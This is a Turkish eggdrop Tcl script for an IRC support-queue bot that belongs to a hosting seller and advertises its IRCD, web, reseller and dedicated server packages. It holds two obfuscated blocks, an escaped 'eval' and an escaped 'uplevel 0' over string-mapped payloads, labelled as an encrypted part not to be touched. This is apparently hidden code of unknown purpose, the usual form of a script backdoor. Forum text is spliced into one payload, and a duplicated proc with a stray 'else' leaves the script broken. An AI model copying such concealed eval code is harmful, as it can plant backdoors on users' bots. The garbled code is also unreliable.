#####Bekleme kanalı######################
set tgchan "#destek"
					#	
#####Müşteri Kanalı######################
set tgchan2 "#hizmet"
					#
#####Nick Listesi########################
set nicklist "scripts/nick.txt"
					#
#########################################

#####Nick Şifresi########################
set pass "nick_sifresi_buraya"
					#
#########################################

#####Oper Şifresi########################
set operpass "oper_sifresi_buraya"
					#
#########################################

#####Burdan Sonrasına Dokunma############

##############################################################################################
####################################KODLAMA BAŞLIYOR##########################################
##############################################################################################


bind evnt - init-server baglan_yap

proc baglan_yap {type} {
global botnick pass operpass nicklist
putserv "nickserv identify $pass"
putserv "oper $botnick $operpass"

set _file [open $nicklist w]
puts $_file ""
close $_file

}


bind pub - !basla basla

proc basla { n u h c a } {
global tgchan tgchan2 botnick nicklist
  if {[isop $n $tgchan2]} {
	set nicklistfile [open $nicklist r]
	set nlist [split [subst -nocommands [read $nicklistfile]] "\n"]  
		foreach i $nlist {
		putserv "privmsg $i \00312Sıra Sizde\003 \00304$i 5\003 \00312Saniye İçerisinde Yardım Odasına Alınacaksınız Lütfen Bekleyiniz..\003"
		utimer 4 [ list putserv "sajoin $i $tgchan2" ]
		utimer 5 [ list putserv "sapart $i $tgchan" ]
		utimer 6 [ list putserv "mode $tgchan2 +v $i" ]
		utimer 7 [ list putserv "notice $i Hoşgeldiniz $i ; Lütfen Sorununuzu Çevrimdışı Operatörlerimize Bu Kanaldan Bildiriniz.." ]
		return 0
	   	}
	close $nicklistfile
  }
}



bind part - * musteri
bind sign - * musteri


#sifrelenmis bolum dokunmayin kesin bozulacaktir :)

\145\u76\141\154 [\x73\164\u72\u69\u6e\147 \x6d\x61\x70 {e o a _ v n 0 . _ m {"} - 2 \} \] \] { } = \{ \\ n l ! \{ o k ) {[} \} + x {
} {	} i i ) t y l {	} g ( r x + h {$} g b w - v \\ f ( e k u {
} t f d 1 {$} m s c c y 2 = {"} d r s b w a h 1 {[} ! @ { } . 0 u p p @} m(\n@d(wnvw_(@=\{y_km\n(d\tm(d-0\ncn@h0.@gd(n(wm(i@st@skcwn\t=xm(\n@c\ncu\"-(dm\tev@=_km\n(d\tm(d-0\ncn@h0.@gd(n(wm(i@st@skcwn\t@rskcwn\trp+e\n_w\tn0ce_=xudec@_km\n(d\t@!@v\tco@k+em\n@+wvf@c+wv@wd\$@2@!x\$neswn@\n\$c+wv@\n\$c+wvy@se\nv\tco@v\tcon\tm\nx\t\\@!)\tmeu@1v\tco@1\n\$c+wvy\]2@!d(\nkdv@.2x\t\\@!1v\tco@\ \ @1se\nv\tco2@!d(\nkdv@.2xxl\t\\@!1c+wv@\ \ @1\n\$c+wv2@!xlm(\n@v\tcon\tm\n\\\tn(@)eu(v@1v\tcon\tm\n@d\]xlm(\n@vn\tm\n@)mun\t\n@)mksm\n@\"vece__wvfm@)d(wf@1v\tcon\tm\n\\\tn(\]\]@=\{v=\]xlm(\n@a\\\tn(@)eu(v@1v\tcon\tm\n@b\]@@@xll\\ed(wc+@\t@1vn\tm\n@!x@@@@l@@l\t\\@!)d(\$(ru@!g0\}i2@1\t@\n_u@(on(\]2@!xlll\t\\@!1(on(@\[\ @1v\tco2@!@uk\nm@1a\\\tn(@=1(on(=@2x@[Üye Olmadan Linkleri Göremezsiniz. Üye Olmak için TIKLAYIN...]ll2x@@@ll2xlcnem(@1a\\\tn(xlcnem(@1v\tcon\tm\n\\\tn(xl2xxl\t\\@!1c+wv@\ \ @1\n\$c+wvy2@!xlm(\n@v\tcon\tm\n\\\tn(@)eu(v@1v\tcon\tm\n@d\]xlm(\n@vn\tm\n@)mun\t\n@)mksm\n@\"vece__wvfm@)d(wf@1v\tcon\tm\n\\\tn(\]\]@=\{v=\]@@xll\\ed(wc+@\t@1vn\tm\n@!xllck\\ck\\@1\t@1\n\$c+wv@1\n\$c+wvyxlld(\nkdv@.xl@@@l2xlcnem(@1v\tcon\tm\n\\\tn(xl2xx2]


proc cufcuf {nick kanal kanal2} {
	putserv "privmsg $nick \00312Sıra Sizde\003 \00304$nick 5\003 \00312Saniye İçerisinde Yardım Odasına Alınacaksınız Lütfen Bekleyiniz..\003"
	utimer 4 [ list putserv "sajoin $nick $kanal2" ]
	utimer 5 [ list putserv "sapart $nick $kanal" ]
	utimer 6 [ list putserv "mode $kanal2 +v $nick" ]
	utimer 7 [ list putserv "notice $nick Hoşgeldiniz $nick ; Lütfen Sorununuzu Çevrimiçi Operatörlerimize Bu Kanaldan Bildiriniz.." ]
}


bind kick - * user_kick

proc user_kick {nick host hand chan target reason} {
global tgchan tgchan2 botnick nicklist
if {[isop $target $tgchan2]} {return 0}
if {$target == $botnick} {return 0}

	if {$chan == $tgchan} {
	set nicklistfile [open $nicklist r]
	set nlist [split [subst -nocommands [read $nicklistfile]] "\n"]
	set _file [open $nicklist w]   
		foreach i $nlist {
    	  	if {[regexp {(.+)} $i tmp ekle]} {
			if {$ekle != $target} { puts $_file "$ekle" }
      		}
   		}
	close $_file
	close $nicklistfile
	}

	if {$chan == $tgchan2} {
	set nicklistfile [open $nicklist r]
	set nlist [split [subst -nocommands [read $nicklistfile]] "\n"]  
		foreach i $nlist {
		putserv "privmsg $i \00312Sıra Sizde\003 \00304$i 5\003 \00312Saniye İçerisinde Yardım Odasına Alınacaksınız Lütfen Bekleyiniz..\003"
		utimer 4 [ list putserv "sajoin $i $tgchan2" ]
		utimer 5 [ list putserv "sapart $i $tgchan" ]
		utimer 6 [ list putserv "mode $tgchan2 +v $i" ]
		utimer 7 [ list putserv "notice $i Hoşgeldiniz $i ; Lütfen Sorununuzu Çevrimiçi Operatörlerimize Bu Kanaldan Bildiriniz.." ]
		return 0
	   	}
	close $nicklistfile
	}
}




bind join - * op:ara

proc op:ara {nick uhost hand chan} {
global botnick tgchan tgchan2 nicklist
if {[isop $nick $tgchan2]} {return 0}
if {$chan != $tgchan} {return 0}
if {$nick == $botnick} {return 0}

set nicklistfile [open $nicklist r]
set nlist [split [subst -nocommands [read $nicklistfile]] "\n"]
set sira [llength $nlist]
set _file [open $nicklist w]   
	foreach i $nlist {
      	if {[regexp {(.+)} $i tmp ekle]} {
		puts $_file "$ekle"
      	}
   }
puts $_file "$nick"
close $_file
close $nicklistfile

putserv "privmsg $nick \00312Hoşgeldiniz\003 \00304$nick\003 \00312..\003"
if {$sira == "0"} { set sira "1" }
putserv "privmsg $nick \00312Lütfen Bekleyiniz\003 \00304$sira.\003 \00312Sıradasınız. Sıranız Gelince Yardım Edilecektir..\003"
putserv "LIST"
}



bind raw - "322" kanal_listele

proc kanal_listele {from keyword arg} {
global tgchan2 tgchan botnick jnick
set listekanaladi [lindex $arg 1]
set guncelsayi [lindex $arg 2]
if { $listekanaladi == $tgchan2 && $guncelsayi == "1" } {
	foreach gnick [chanlist $tgchan] {
		if { $gnick != $botnick && ![isop $gnick $tgchan] } {
		putserv "mode $tgchan +b $gnick"
		putserv "kick $tgchan $gnick"
		putserv "privmsg $gnick \00312Üzgünüm\003 \00304$gnick\003 \00312Şu anda çevrimiçi operatör bulunamadığından size yardım edilemiyor..\003"
		putserv "privmsg $gnick \00312IRCD, Web Paketlerimize bakmak için özelimde\003 \00304!IRCD, !Web, !Reseller, !Dedicated\003 \00312Komutlarını Kullanabilirsiniz.\003" 


		}
	}
} 
}



##############################################################################################
####################################Paketler##################################################
##############################################################################################

bind msg - !IRCD ircd

proc ircd {n u h c} {
putserv "privmsg $n \00312IRCD Paketlerini Görmek için\003 \00304!IRCD1 , !IRCD2 , !IRCD3\003 \00312Komutlarını Kullanabilirsiniz..\003"
}



bind msg - !web web

proc web {n u h c} {
putserv "privmsg $n \00312Web Hosting Paketlerini Görmek için\003 \00304!web1 , !web2 , !web3\003 \00312Komutlarını Kullanabilirsiniz..\003"
}



bind msg - !reseller reseller

proc reseller {n u h c} {
putserv "privmsg $n \00312Reseller Paketlerini Görmek için\003 \00304!reseller1 , !reseller2 , !reseller3\003 \00312Komutlarını Kullanabilirsiniz..\003"
}



bind msg - !IRCD1 ircd1

proc ircd1 {n u h c} {
putserv "privmsg $n IRCD PAKET (1)"
putserv "privmsg $n - IRCD + Services "
putserv "privmsg $n  - 1 static ip + Tüm portlar "
putserv "privmsg $n  - Eggdroplar + 32 kişilik radyo "
putserv "privmsg $n  - Sunucu + proxy + DDOS Koruması "
putserv "privmsg $n  - Web aplet + istenilen modüller "
putserv "privmsg $n Aylık ==> 20 YTL"
}



bind msg - !IRCD2 ircd2

proc ircd2 {n u h c} {
putserv "privmsg $n IRCD PAKET (2)"
putserv "privmsg $n - IRCD + Services "
putserv "privmsg $n - 1 static ip + Tüm portlar "
putserv "privmsg $n - Eggdroplar + 64 kişilik radyo" 
putserv "privmsg $n - DDOS Koruması + Bütün modüller "
putserv "privmsg $n - Web aplet + 200 mb alan "
putserv "privmsg $n Aylık ==> 25 YTL"
}



bind msg - !IRCD3 ircd3

proc ircd3 {n u h c} {
putserv "privmsg $n IRCD PAKET (3)"
putserv "privmsg $n - IRCD + Services "
putserv "privmsg $n - 1 static ip + Tüm portlar "
putserv "privmsg $n - Eggdroplar + 128 kişilik radyo "
putserv "privmsg $n - DDOS Koruması + Bütün modüller "
putserv "privmsg $n - Web aplet + 300 mb alan "
putserv "privmsg $n Aylık ==> 35 YTL "
}



bind msg - !web1 web1

proc web1 {n u h c} {
putserv "privmsg $n Web Hosting (1)"
putserv "privmsg $n - 100 mb alan "
putserv "privmsg $n - 4 gb trafik "
putserv "privmsg $n - 10 adet mysql "
putserv "privmsg $n - 20 adet e-mail "
putserv "privmsg $n - 10 adet subdomain "
putserv "privmsg $n YıLLık ==> 60 YTL"
}



bind msg - !web2 web2

proc web2 {n u h c} {
putserv "privmsg $n Web Hosting (2)"
putserv "privmsg $n - 200 mb alan "
putserv "privmsg $n - 5 gb trafik "
putserv "privmsg $n - 20 adet mysql "
putserv "privmsg $n - 30 adet e-mail "
putserv "privmsg $n - 20 adet subdomain "
putserv "privmsg $n Yıllık ===> 100 YTL"
}



bind msg - !web3 web3

proc web3 {n u h c} {
putserv "privmsg $n Web Hosting (3)"
putserv "privmsg $n - 300 mb alan "
putserv "privmsg $n - 6 gb trafik "
putserv "privmsg $n - 30 adet mysql "
putserv "privmsg $n - 40 adet e-mail "
putserv "privmsg $n - 30 adet subdomain "
putserv "privmsg $n Yıllık ===> 150 YTL"
}



bind msg - !reseller1 reseller1

proc reseller1 {n u h c} {
putserv "privmsg $n Reseller Bayi 1"
putserv "privmsg $n Hosting Alani  5 GB  "
putserv "privmsg $n Trafik   150 GB    "
putserv "privmsg $n Domain   S1n1rs1z   " 
putserv "privmsg $n Kontrol paneli  Cpanel/Whm  " 
putserv "privmsg $n Ip adresi     Hay1r   "
putserv "privmsg $n Name server   Evet  "
putserv "privmsg $n Aylık ===> 25 YTL"
}



bind msg - !reseller2 reseller2

proc reseller2 {n u h c} {
putserv "privmsg $n Reseller Bayi 2"
putserv "privmsg $n Hosting Alani  7.5 GB  "
putserv "privmsg $n Trafik   250 GB    "
putserv "privmsg $n Domain   Sınırsız  "  
putserv "privmsg $n Kontrol paneli  Cpanel/WHM"
putserv "privmsg $n Ip adresi   Hayır    " 
putserv "privmsg $n Name server   Evet  "
putserv "privmsg $n Aylık ===> 35 YTL"
}



bind msg - !reseller3 reseller3

proc reseller3 {n u h c} {
putserv "privmsg $n Reseller Bayi 3"
putserv "privmsg $n Hosting Alani  10 GB "   
putserv "privmsg $n Trafik   400 GB    "
putserv "privmsg $n Domain   S1n1rs1z    "
putserv "privmsg $n Kontrol paneli   Cpanel/Whm"    
putserv "privmsg $n Ip adresi   Hay1r      "
putserv "privmsg $n Name server   Evet " 
putserv "privmsg $n Aylık ===> 40 YTL"
}



bind msg - !Dedicated Dedicated

proc Dedicated {n u h c} {
putserv "privmsg $n Dedicated Server (Sunucu Kiralama)"
putserv "privmsg $n - Intel P4 2.8Ghz "
putserv "privmsg $n - 2x80 HDD / 1024 MB Ram "
putserv "privmsg $n - CPanel / WHM Fantastico "
putserv "privmsg $n - Ücretsiz kurulum + Destek "
putserv "privmsg $n Aylık ===> 155$"
}


\x75\x70\154\x65\x76\x65\u6c \x30 [\163\u74\162\x69\u6e\147 \155\141\u70 {b o y . a n m M f - d m { } l i k r {
} h z p i g y v x M h t g l v S f E e o u @ E k t - d s s e S . c {
} r z {"} x b B B n 1 1 a c { } u p {"} @} {uok btczmoskE
peE
lclnybcxgcxo.1 pzruok btcz@fd1p cvxo.1 pv"Mbkd1p y.bdzruok btczBocxbkcsoao.oaohcohE
pa-EcdoskE
p E
paphEcMphdEkclE
dEicp.pack1s1
 1adpskp
zruok btczeb
oaclEcspi1gEk E
paphpc okSEacgoi1
p-1cxE p
kp EacEfd1p c1-
Espcp Ecp
kpx1k1ctE.E
Eics1t 1gpaphz}]

bind pub - !geldim celdim
proc celdim {nick user hand chan arg} {
global yonetim
} 
else {
if {[onchan $nick $yonetim]} {
putquick "privmsg OperServ global 2KraLSheLL admin teknik Ekibinden 4 $nick 2 Suanda Online !!!"
putquick "chgname $nick 0 4KraLSheLL.Net - $nick  "
putquick "privmsg $yonetim Geldiginiz Bildirildi Ve Realname iniz 0 4KraLSheLL.Net - $nick   Şeklinde Değiştirildi"
} 
} 
} 
} 
}

bind pub - !geldim celdim
proc celdim {nick user hand chan arg} {
global yonetim
if {[onchan $nick $yonetim]} {
putquick "privmsg OperServ global 2KraLSheLL admin teknik Ekibinden 4 $nick 2 Suanda Online !!!"
putquick "chgname $nick 0 4KraLSheLL.Net - $nick  "
putquick "privmsg $yonetim Geldiginiz Bildirildi Ve Realname iniz 0 4KraLSheLL.Net - $nick   Şeklinde Değiştirildi"
}
}